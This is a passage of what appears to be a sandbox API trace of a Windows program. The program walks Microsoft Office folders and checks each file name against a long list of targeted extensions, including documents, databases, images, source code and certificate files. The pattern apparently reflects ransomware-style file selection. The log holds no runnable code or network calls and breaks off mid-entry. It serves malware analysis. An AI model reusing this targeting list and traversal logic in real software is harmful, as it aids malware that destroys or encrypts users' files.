[0091.121] lstrlenW (lpString=".dng") returned 4 [0091.121] lstrcmpiW (lpString1=".dng", lpString2=".VSL") returned -1 [0091.122] lstrlenW (lpString=".doc") returned 4 [0091.122] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0091.122] lstrlenW (lpString=".docm") returned 5 [0091.122] lstrcmpiW (lpString1=".docm", lpString2="M.VSL") returned -1 [0091.122] lstrlenW (lpString=".docx") returned 5 [0091.122] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0091.122] lstrlenW (lpString=".dot") returned 4 [0091.122] lstrcmpiW (lpString1=".dot", lpString2=".VSL") returned -1 [0091.122] lstrlenW (lpString=".dotm") returned 5 [0091.122] lstrcmpiW (lpString1=".dotm", lpString2="M.VSL") returned -1 [0091.122] lstrlenW (lpString=".dotx") returned 5 [0091.122] lstrcmpiW (lpString1=".dotx", lpString2="M.VSL") returned -1 [0091.122] lstrlenW (lpString=".dpx") returned 4 [0091.122] lstrcmpiW (lpString1=".dpx", lpString2=".VSL") returned -1 [0091.122] lstrlenW (lpString=".dqy") returned 4 [0091.122] lstrcmpiW (lpString1=".dqy", lpString2=".VSL") returned -1 [0091.122] lstrlenW (lpString=".dsn") returned 4 [0091.122] lstrcmpiW (lpString1=".dsn", lpString2=".VSL") returned -1 [0091.123] lstrlenW (lpString=".dt") returned 3 [0091.123] lstrcmpiW (lpString1=".dt", lpString2="VSL") returned -1 [0091.123] lstrlenW (lpString=".dtd") returned 4 [0091.123] lstrcmpiW (lpString1=".dtd", lpString2=".VSL") returned -1 [0091.123] lstrlenW (lpString=".dwg") returned 4 [0091.123] lstrcmpiW (lpString1=".dwg", lpString2=".VSL") returned -1 [0091.123] lstrlenW (lpString=".dwt") returned 4 [0091.123] lstrcmpiW (lpString1=".dwt", lpString2=".VSL") returned -1 [0091.123] lstrlenW (lpString=".dx") returned 3 [0091.123] lstrcmpiW (lpString1=".dx", lpString2="VSL") returned -1 [0091.123] lstrlenW (lpString=".dxf") returned 4 [0091.123] lstrcmpiW (lpString1=".dxf", lpString2=".VSL") returned -1 [0091.123] lstrlenW (lpString=".edml") returned 5 [0091.123] lstrcmpiW (lpString1=".edml", lpString2="M.VSL") returned -1 [0091.123] lstrlenW (lpString=".efd") returned 4 [0091.123] lstrcmpiW (lpString1=".efd", lpString2=".VSL") returned -1 [0091.124] lstrlenW (lpString=".elf") returned 4 [0091.124] lstrcmpiW (lpString1=".elf", lpString2=".VSL") returned -1 [0091.124] lstrlenW (lpString=".emf") returned 4 [0091.124] lstrcmpiW (lpString1=".emf", lpString2=".VSL") returned -1 [0091.124] lstrlenW (lpString=".emz") returned 4 [0091.124] lstrcmpiW (lpString1=".emz", lpString2=".VSL") returned -1 [0091.124] lstrlenW (lpString=".epf") returned 4 [0091.124] lstrcmpiW (lpString1=".epf", lpString2=".VSL") returned -1 [0091.124] lstrlenW (lpString=".eps") returned 4 [0091.124] lstrcmpiW (lpString1=".eps", lpString2=".VSL") returned -1 [0091.124] lstrlenW (lpString=".epsf") returned 5 [0091.124] lstrcmpiW (lpString1=".epsf", lpString2="M.VSL") returned -1 [0091.124] lstrlenW (lpString=".epsp") returned 5 [0091.124] lstrcmpiW (lpString1=".epsp", lpString2="M.VSL") returned -1 [0091.124] lstrlenW (lpString=".erf") returned 4 [0091.124] lstrcmpiW (lpString1=".erf", lpString2=".VSL") returned -1 [0091.124] lstrlenW (lpString=".exr") returned 4 [0091.124] lstrcmpiW (lpString1=".exr", lpString2=".VSL") returned -1 [0091.124] lstrlenW (lpString=".f4v") returned 4 [0091.124] lstrcmpiW (lpString1=".f4v", lpString2=".VSL") returned -1 [0091.124] lstrlenW (lpString=".fido") returned 5 [0091.124] lstrcmpiW (lpString1=".fido", lpString2="M.VSL") returned -1 [0091.125] lstrlenW (lpString=".flm") returned 4 [0091.125] lstrcmpiW (lpString1=".flm", lpString2=".VSL") returned -1 [0091.125] lstrlenW (lpString=".flv") returned 4 [0091.125] lstrcmpiW (lpString1=".flv", lpString2=".VSL") returned -1 [0091.125] lstrlenW (lpString=".frm") returned 4 [0091.125] lstrcmpiW (lpString1=".frm", lpString2=".VSL") returned -1 [0091.125] lstrlenW (lpString=".fxg") returned 4 [0091.125] lstrcmpiW (lpString1=".fxg", lpString2=".VSL") returned -1 [0091.125] lstrlenW (lpString=".geo") returned 4 [0091.125] lstrcmpiW (lpString1=".geo", lpString2=".VSL") returned -1 [0091.125] lstrlenW (lpString=".gif") returned 4 [0091.125] lstrcmpiW (lpString1=".gif", lpString2=".VSL") returned -1 [0091.125] lstrlenW (lpString=".grs") returned 4 [0091.125] lstrcmpiW (lpString1=".grs", lpString2=".VSL") returned -1 [0091.125] lstrlenW (lpString=".gz") returned 3 [0091.125] lstrcmpiW (lpString1=".gz", lpString2="VSL") returned -1 [0091.125] lstrlenW (lpString=".h") returned 2 [0091.125] lstrcmpiW (lpString1=".h", lpString2="SL") returned -1 [0091.126] lstrlenW (lpString=".hdr") returned 4 [0091.126] lstrcmpiW (lpString1=".hdr", lpString2=".VSL") returned -1 [0091.126] lstrlenW (lpString=".hpp") returned 4 [0091.126] lstrcmpiW (lpString1=".hpp", lpString2=".VSL") returned -1 [0091.126] lstrlenW (lpString=".hta") returned 4 [0091.126] lstrcmpiW (lpString1=".hta", lpString2=".VSL") returned -1 [0091.126] lstrlenW (lpString=".htc") returned 4 [0091.126] lstrcmpiW (lpString1=".htc", lpString2=".VSL") returned -1 [0091.126] lstrlenW (lpString=".htm") returned 4 [0091.126] lstrcmpiW (lpString1=".htm", lpString2=".VSL") returned -1 [0091.126] lstrlenW (lpString=".html") returned 5 [0091.126] lstrcmpiW (lpString1=".html", lpString2="M.VSL") returned -1 [0091.126] lstrlenW (lpString=".icb") returned 4 [0091.126] lstrcmpiW (lpString1=".icb", lpString2=".VSL") returned -1 [0091.126] lstrlenW (lpString=".ics") returned 4 [0091.126] lstrcmpiW (lpString1=".ics", lpString2=".VSL") returned -1 [0091.126] lstrlenW (lpString=".iff") returned 4 [0091.127] lstrcmpiW (lpString1=".iff", lpString2=".VSL") returned -1 [0091.127] lstrlenW (lpString=".inc") returned 4 [0091.127] lstrcmpiW (lpString1=".inc", lpString2=".VSL") returned -1 [0091.127] lstrlenW (lpString=".indd") returned 5 [0091.127] lstrcmpiW (lpString1=".indd", lpString2="M.VSL") returned -1 [0091.127] lstrlenW (lpString=".ini") returned 4 [0091.127] lstrcmpiW (lpString1=".ini", lpString2=".VSL") returned -1 [0091.127] lstrlenW (lpString=".iqy") returned 4 [0091.127] lstrcmpiW (lpString1=".iqy", lpString2=".VSL") returned -1 [0091.127] lstrlenW (lpString=".j2c") returned 4 [0091.127] lstrcmpiW (lpString1=".j2c", lpString2=".VSL") returned -1 [0091.127] lstrlenW (lpString=".j2k") returned 4 [0091.128] lstrcmpiW (lpString1=".j2k", lpString2=".VSL") returned -1 [0091.128] lstrlenW (lpString=".java") returned 5 [0091.128] lstrcmpiW (lpString1=".java", lpString2="M.VSL") returned -1 [0091.128] lstrlenW (lpString=".jp2") returned 4 [0091.128] lstrcmpiW (lpString1=".jp2", lpString2=".VSL") returned -1 [0091.128] lstrlenW (lpString=".jpc") returned 4 [0091.128] lstrcmpiW (lpString1=".jpc", lpString2=".VSL") returned -1 [0091.128] lstrlenW (lpString=".jpe") returned 4 [0091.128] lstrcmpiW (lpString1=".jpe", lpString2=".VSL") returned -1 [0091.128] lstrlenW (lpString=".jpeg") returned 5 [0091.128] lstrcmpiW (lpString1=".jpeg", lpString2="M.VSL") returned -1 [0091.128] lstrlenW (lpString=".jpf") returned 4 [0091.128] lstrcmpiW (lpString1=".jpf", lpString2=".VSL") returned -1 [0091.128] lstrlenW (lpString=".jpg") returned 4 [0091.128] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0091.128] lstrlenW (lpString=".jpx") returned 4 [0091.128] lstrcmpiW (lpString1=".jpx", lpString2=".VSL") returned -1 [0091.128] lstrlenW (lpString=".js") returned 3 [0091.129] lstrcmpiW (lpString1=".js", lpString2="VSL") returned -1 [0091.129] lstrlenW (lpString=".jsf") returned 4 [0091.129] lstrcmpiW (lpString1=".jsf", lpString2=".VSL") returned -1 [0091.129] lstrlenW (lpString=".json") returned 5 [0091.129] lstrcmpiW (lpString1=".json", lpString2="M.VSL") returned -1 [0091.129] lstrlenW (lpString=".jsp") returned 4 [0091.129] lstrcmpiW (lpString1=".jsp", lpString2=".VSL") returned -1 [0091.129] lstrlenW (lpString=".kdc") returned 4 [0091.129] lstrcmpiW (lpString1=".kdc", lpString2=".VSL") returned -1 [0091.129] lstrlenW (lpString=".kmz") returned 4 [0091.129] lstrcmpiW (lpString1=".kmz", lpString2=".VSL") returned -1 [0091.129] lstrlenW (lpString=".kwm") returned 4 [0091.129] lstrcmpiW (lpString1=".kwm", lpString2=".VSL") returned -1 [0091.129] lstrlenW (lpString=".lasso") returned 6 [0091.129] lstrcmpiW (lpString1=".lasso", lpString2="RM.VSL") returned -1 [0091.129] lstrlenW (lpString=".lbi") returned 4 [0091.129] lstrcmpiW (lpString1=".lbi", lpString2=".VSL") returned -1 [0091.129] lstrlenW (lpString=".lgf") returned 4 [0091.130] lstrcmpiW (lpString1=".lgf", lpString2=".VSL") returned -1 [0091.130] lstrlenW (lpString=".lgp") returned 4 [0091.130] lstrcmpiW (lpString1=".lgp", lpString2=".VSL") returned -1 [0091.130] lstrlenW (lpString=".log") returned 4 [0091.130] lstrcmpiW (lpString1=".log", lpString2=".VSL") returned -1 [0091.130] lstrlenW (lpString=".m1v") returned 4 [0091.130] lstrcmpiW (lpString1=".m1v", lpString2=".VSL") returned -1 [0091.130] lstrlenW (lpString=".m4a") returned 4 [0091.130] lstrcmpiW (lpString1=".m4a", lpString2=".VSL") returned -1 [0091.130] lstrlenW (lpString=".m4v") returned 4 [0091.130] lstrcmpiW (lpString1=".m4v", lpString2=".VSL") returned -1 [0091.130] lstrlenW (lpString=".max") returned 4 [0091.130] lstrcmpiW (lpString1=".max", lpString2=".VSL") returned -1 [0091.130] lstrlenW (lpString=".md") returned 3 [0091.130] lstrcmpiW (lpString1=".md", lpString2="VSL") returned -1 [0091.130] lstrlenW (lpString=".mda") returned 4 [0091.130] lstrcmpiW (lpString1=".mda", lpString2=".VSL") returned -1 [0091.130] lstrlenW (lpString=".mdb") returned 4 [0091.130] lstrcmpiW (lpString1=".mdb", lpString2=".VSL") returned -1 [0091.130] lstrlenW (lpString=".mde") returned 4 [0091.130] lstrcmpiW (lpString1=".mde", lpString2=".VSL") returned -1 [0091.130] lstrlenW (lpString=".mdf") returned 4 [0091.131] lstrcmpiW (lpString1=".mdf", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mdw") returned 4 [0091.131] lstrcmpiW (lpString1=".mdw", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mef") returned 4 [0091.131] lstrcmpiW (lpString1=".mef", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mft") returned 4 [0091.131] lstrcmpiW (lpString1=".mft", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mfw") returned 4 [0091.131] lstrcmpiW (lpString1=".mfw", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mht") returned 4 [0091.131] lstrcmpiW (lpString1=".mht", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mhtml") returned 6 [0091.131] lstrcmpiW (lpString1=".mhtml", lpString2="RM.VSL") returned -1 [0091.131] lstrlenW (lpString=".mka") returned 4 [0091.131] lstrcmpiW (lpString1=".mka", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mkidx") returned 6 [0091.131] lstrcmpiW (lpString1=".mkidx", lpString2="RM.VSL") returned -1 [0091.131] lstrlenW (lpString=".mkv") returned 4 [0091.131] lstrcmpiW (lpString1=".mkv", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mos") returned 4 [0091.131] lstrcmpiW (lpString1=".mos", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mov") returned 4 [0091.131] lstrcmpiW (lpString1=".mov", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mp3") returned 4 [0091.131] lstrcmpiW (lpString1=".mp3", lpString2=".VSL") returned -1 [0091.131] lstrlenW (lpString=".mp4") returned 4 [0091.132] lstrcmpiW (lpString1=".mp4", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".mpeg") returned 5 [0091.132] lstrcmpiW (lpString1=".mpeg", lpString2="M.VSL") returned -1 [0091.132] lstrlenW (lpString=".mpg") returned 4 [0091.132] lstrcmpiW (lpString1=".mpg", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".mpv") returned 4 [0091.132] lstrcmpiW (lpString1=".mpv", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".mrw") returned 4 [0091.132] lstrcmpiW (lpString1=".mrw", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".msg") returned 4 [0091.132] lstrcmpiW (lpString1=".msg", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".mxl") returned 4 [0091.132] lstrcmpiW (lpString1=".mxl", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".myd") returned 4 [0091.132] lstrcmpiW (lpString1=".myd", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".myi") returned 4 [0091.132] lstrcmpiW (lpString1=".myi", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".nef") returned 4 [0091.132] lstrcmpiW (lpString1=".nef", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".nrw") returned 4 [0091.132] lstrcmpiW (lpString1=".nrw", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".obj") returned 4 [0091.132] lstrcmpiW (lpString1=".obj", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".odb") returned 4 [0091.132] lstrcmpiW (lpString1=".odb", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".odc") returned 4 [0091.132] lstrcmpiW (lpString1=".odc", lpString2=".VSL") returned -1 [0091.132] lstrlenW (lpString=".odm") returned 4 [0091.133] lstrcmpiW (lpString1=".odm", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".odp") returned 4 [0091.133] lstrcmpiW (lpString1=".odp", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".ods") returned 4 [0091.133] lstrcmpiW (lpString1=".ods", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".oft") returned 4 [0091.133] lstrcmpiW (lpString1=".oft", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".one") returned 4 [0091.133] lstrcmpiW (lpString1=".one", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".onepkg") returned 7 [0091.133] lstrcmpiW (lpString1=".onepkg", lpString2="ORM.VSL") returned -1 [0091.133] lstrlenW (lpString=".onetoc2") returned 8 [0091.133] lstrcmpiW (lpString1=".onetoc2", lpString2="TORM.VSL") returned -1 [0091.133] lstrlenW (lpString=".opt") returned 4 [0091.133] lstrcmpiW (lpString1=".opt", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".oqy") returned 4 [0091.133] lstrcmpiW (lpString1=".oqy", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".orf") returned 4 [0091.133] lstrcmpiW (lpString1=".orf", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".p12") returned 4 [0091.133] lstrcmpiW (lpString1=".p12", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".p7b") returned 4 [0091.133] lstrcmpiW (lpString1=".p7b", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".p7c") returned 4 [0091.133] lstrcmpiW (lpString1=".p7c", lpString2=".VSL") returned -1 [0091.133] lstrlenW (lpString=".pam") returned 4 [0091.133] lstrcmpiW (lpString1=".pam", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pbm") returned 4 [0091.134] lstrcmpiW (lpString1=".pbm", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pct") returned 4 [0091.134] lstrcmpiW (lpString1=".pct", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pcx") returned 4 [0091.134] lstrcmpiW (lpString1=".pcx", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pdd") returned 4 [0091.134] lstrcmpiW (lpString1=".pdd", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pdf") returned 4 [0091.134] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pdp") returned 4 [0091.134] lstrcmpiW (lpString1=".pdp", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pef") returned 4 [0091.134] lstrcmpiW (lpString1=".pef", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pem") returned 4 [0091.134] lstrcmpiW (lpString1=".pem", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pff") returned 4 [0091.134] lstrcmpiW (lpString1=".pff", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pfm") returned 4 [0091.134] lstrcmpiW (lpString1=".pfm", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pfx") returned 4 [0091.134] lstrcmpiW (lpString1=".pfx", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".pgm") returned 4 [0091.134] lstrcmpiW (lpString1=".pgm", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".php") returned 4 [0091.134] lstrcmpiW (lpString1=".php", lpString2=".VSL") returned -1 [0091.134] lstrlenW (lpString=".php3") returned 5 [0091.134] lstrcmpiW (lpString1=".php3", lpString2="M.VSL") returned -1 [0091.134] lstrlenW (lpString=".php4") returned 5 [0091.134] lstrcmpiW (lpString1=".php4", lpString2="M.VSL") returned -1 [0091.134] lstrlenW (lpString=".php5") returned 5 [0091.134] lstrcmpiW (lpString1=".php5", lpString2="M.VSL") returned -1 [0091.134] lstrlenW (lpString=".phtml") returned 6 [0091.135] lstrcmpiW (lpString1=".phtml", lpString2="RM.VSL") returned -1 [0091.135] lstrlenW (lpString=".pict") returned 5 [0091.135] lstrcmpiW (lpString1=".pict", lpString2="M.VSL") returned -1 [0091.135] lstrlenW (lpString=".pl") returned 3 [0091.135] lstrcmpiW (lpString1=".pl", lpString2="VSL") returned -1 [0091.135] lstrlenW (lpString=".pls") returned 4 [0091.135] lstrcmpiW (lpString1=".pls", lpString2=".VSL") returned -1 [0091.135] lstrlenW (lpString=".pm") returned 3 [0091.135] lstrcmpiW (lpString1=".pm", lpString2="VSL") returned -1 [0091.135] lstrlenW (lpString=".png") returned 4 [0091.135] lstrcmpiW (lpString1=".png", lpString2=".VSL") returned -1 [0091.135] lstrlenW (lpString=".pnm") returned 4 [0091.135] lstrcmpiW (lpString1=".pnm", lpString2=".VSL") returned -1 [0091.135] lstrlenW (lpString=".pot") returned 4 [0091.135] lstrcmpiW (lpString1=".pot", lpString2=".VSL") returned -1 [0091.135] lstrlenW (lpString=".potm") returned 5 [0091.135] lstrcmpiW (lpString1=".potm", lpString2="M.VSL") returned -1 [0091.135] lstrlenW (lpString=".potx") returned 5 [0091.135] lstrcmpiW (lpString1=".potx", lpString2="M.VSL") returned -1 [0091.135] lstrlenW (lpString=".ppa") returned 4 [0091.135] lstrcmpiW (lpString1=".ppa", lpString2=".VSL") returned -1 [0091.135] lstrlenW (lpString=".ppam") returned 5 [0091.135] lstrcmpiW (lpString1=".ppam", lpString2="M.VSL") returned -1 [0091.135] lstrlenW (lpString=".ppm") returned 4 [0091.135] lstrcmpiW (lpString1=".ppm", lpString2=".VSL") returned -1 [0091.135] lstrlenW (lpString=".pps") returned 4 [0091.135] lstrcmpiW (lpString1=".pps", lpString2=".VSL") returned -1 [0091.135] lstrlenW (lpString=".ppsm") returned 5 [0091.135] lstrcmpiW (lpString1=".ppsm", lpString2="M.VSL") returned -1 [0091.135] lstrlenW (lpString=".ppt") returned 4 [0091.135] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0091.135] lstrlenW (lpString=".pptm") returned 5 [0091.135] lstrcmpiW (lpString1=".pptm", lpString2="M.VSL") returned -1 [0091.135] lstrlenW (lpString=".pptx") returned 5 [0091.135] lstrcmpiW (lpString1=".pptx", lpString2="M.VSL") returned -1 [0091.135] lstrlenW (lpString=".prn") returned 4 [0091.136] lstrcmpiW (lpString1=".prn", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".ps") returned 3 [0091.136] lstrcmpiW (lpString1=".ps", lpString2="VSL") returned -1 [0091.136] lstrlenW (lpString=".psb") returned 4 [0091.136] lstrcmpiW (lpString1=".psb", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".psd") returned 4 [0091.136] lstrcmpiW (lpString1=".psd", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".pst") returned 4 [0091.136] lstrcmpiW (lpString1=".pst", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".ptx") returned 4 [0091.136] lstrcmpiW (lpString1=".ptx", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".pub") returned 4 [0091.136] lstrcmpiW (lpString1=".pub", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".pwm") returned 4 [0091.136] lstrcmpiW (lpString1=".pwm", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".pxr") returned 4 [0091.136] lstrcmpiW (lpString1=".pxr", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".py") returned 3 [0091.136] lstrcmpiW (lpString1=".py", lpString2="VSL") returned -1 [0091.136] lstrlenW (lpString=".qt") returned 3 [0091.136] lstrcmpiW (lpString1=".qt", lpString2="VSL") returned -1 [0091.136] lstrlenW (lpString=".r3d") returned 4 [0091.136] lstrcmpiW (lpString1=".r3d", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".raf") returned 4 [0091.136] lstrcmpiW (lpString1=".raf", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".rar") returned 4 [0091.136] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0091.136] lstrlenW (lpString=".raw") returned 4 [0091.136] lstrcmpiW (lpString1=".raw", lpString2=".VSL") returned -1 [0091.137] lstrcmpiW (lpString1=".rdf", lpString2=".VSL") returned -1 [0091.137] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0091.137] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb09b400, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb09b400, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALEVENT.VRD", cAlternateFileName="")) returned 1 [0091.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f10068 [0091.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974270 [0091.143] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.143] FindNextFileW (in: hFindFile=0x3974270, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="_CONNE~1.ODC")) returned 1 [0091.143] lstrlenW (lpString="+Connect to New Data Source.odc") returned 31 [0091.143] lstrlenW (lpString=".1cd") returned 4 [0091.143] lstrcmpiW (lpString1=".1cd", lpString2=".odc") returned -1 [0091.143] lstrlenW (lpString=".3ds") returned 4 [0091.143] lstrcmpiW (lpString1=".3ds", lpString2=".odc") returned -1 [0091.143] lstrlenW (lpString=".3fr") returned 4 [0091.143] lstrcmpiW (lpString1=".3fr", lpString2=".odc") returned -1 [0091.143] lstrlenW (lpString=".3g2") returned 4 [0091.144] lstrcmpiW (lpString1=".3g2", lpString2=".odc") returned -1 [0091.144] lstrlenW (lpString=".3gp") returned 4 [0091.144] lstrcmpiW (lpString1=".3gp", lpString2=".odc") returned -1 [0091.144] lstrlenW (lpString=".7z") returned 3 [0091.144] lstrcmpiW (lpString1=".7z", lpString2="odc") returned -1 [0091.144] lstrlenW (lpString=".accda") returned 6 [0091.144] lstrcmpiW (lpString1=".accda", lpString2="ce.odc") returned -1 [0091.144] lstrlenW (lpString=".accdb") returned 6 [0091.144] lstrcmpiW (lpString1=".accdb", lpString2="ce.odc") returned -1 [0091.144] lstrlenW (lpString=".accdc") returned 6 [0091.144] lstrcmpiW (lpString1=".accdc", lpString2="ce.odc") returned -1 [0091.144] lstrlenW (lpString=".accde") returned 6 [0091.144] lstrcmpiW (lpString1=".accde", lpString2="ce.odc") returned -1 [0091.144] lstrlenW (lpString=".accdt") returned 6 [0091.144] lstrcmpiW (lpString1=".accdt", lpString2="ce.odc") returned -1 [0091.144] lstrlenW (lpString=".accdw") returned 6 [0091.145] lstrcmpiW (lpString1=".accdw", lpString2="ce.odc") returned -1 [0091.145] lstrlenW (lpString=".adb") returned 4 [0091.145] lstrcmpiW (lpString1=".adb", lpString2=".odc") returned -1 [0091.145] lstrlenW (lpString=".adp") returned 4 [0091.145] lstrcmpiW (lpString1=".adp", lpString2=".odc") returned -1 [0091.145] lstrlenW (lpString=".ai") returned 3 [0091.145] lstrcmpiW (lpString1=".ai", lpString2="odc") returned -1 [0091.145] lstrlenW (lpString=".ai3") returned 4 [0091.145] lstrcmpiW (lpString1=".ai3", lpString2=".odc") returned -1 [0091.145] lstrlenW (lpString=".ai4") returned 4 [0091.145] lstrcmpiW (lpString1=".ai4", lpString2=".odc") returned -1 [0091.145] lstrlenW (lpString=".ai5") returned 4 [0091.145] lstrcmpiW (lpString1=".ai5", lpString2=".odc") returned -1 [0091.145] lstrlenW (lpString=".ai6") returned 4 [0091.145] lstrcmpiW (lpString1=".ai6", lpString2=".odc") returned -1 [0091.145] lstrlenW (lpString=".ai7") returned 4 [0091.145] lstrcmpiW (lpString1=".ai7", lpString2=".odc") returned -1 [0091.146] lstrlenW (lpString=".ai8") returned 4 [0091.146] lstrcmpiW (lpString1=".ai8", lpString2=".odc") returned -1 [0091.146] lstrlenW (lpString=".anim") returned 5 [0091.146] lstrcmpiW (lpString1=".anim", lpString2="e.odc") returned -1 [0091.146] lstrlenW (lpString=".arw") returned 4 [0091.146] lstrcmpiW (lpString1=".arw", lpString2=".odc") returned -1 [0091.146] lstrlenW (lpString=".as") returned 3 [0091.146] lstrcmpiW (lpString1=".as", lpString2="odc") returned -1 [0091.146] lstrlenW (lpString=".asa") returned 4 [0091.146] lstrcmpiW (lpString1=".asa", lpString2=".odc") returned -1 [0091.146] lstrlenW (lpString=".asc") returned 4 [0091.146] lstrcmpiW (lpString1=".asc", lpString2=".odc") returned -1 [0091.146] lstrlenW (lpString=".ascx") returned 5 [0091.146] lstrcmpiW (lpString1=".ascx", lpString2="e.odc") returned -1 [0091.146] lstrlenW (lpString=".asm") returned 4 [0091.146] lstrcmpiW (lpString1=".asm", lpString2=".odc") returned -1 [0091.146] lstrlenW (lpString=".asmx") returned 5 [0091.146] lstrcmpiW (lpString1=".asmx", lpString2="e.odc") returned -1 [0091.146] lstrlenW (lpString=".asp") returned 4 [0091.146] lstrcmpiW (lpString1=".asp", lpString2=".odc") returned -1 [0091.147] lstrlenW (lpString=".aspx") returned 5 [0091.147] 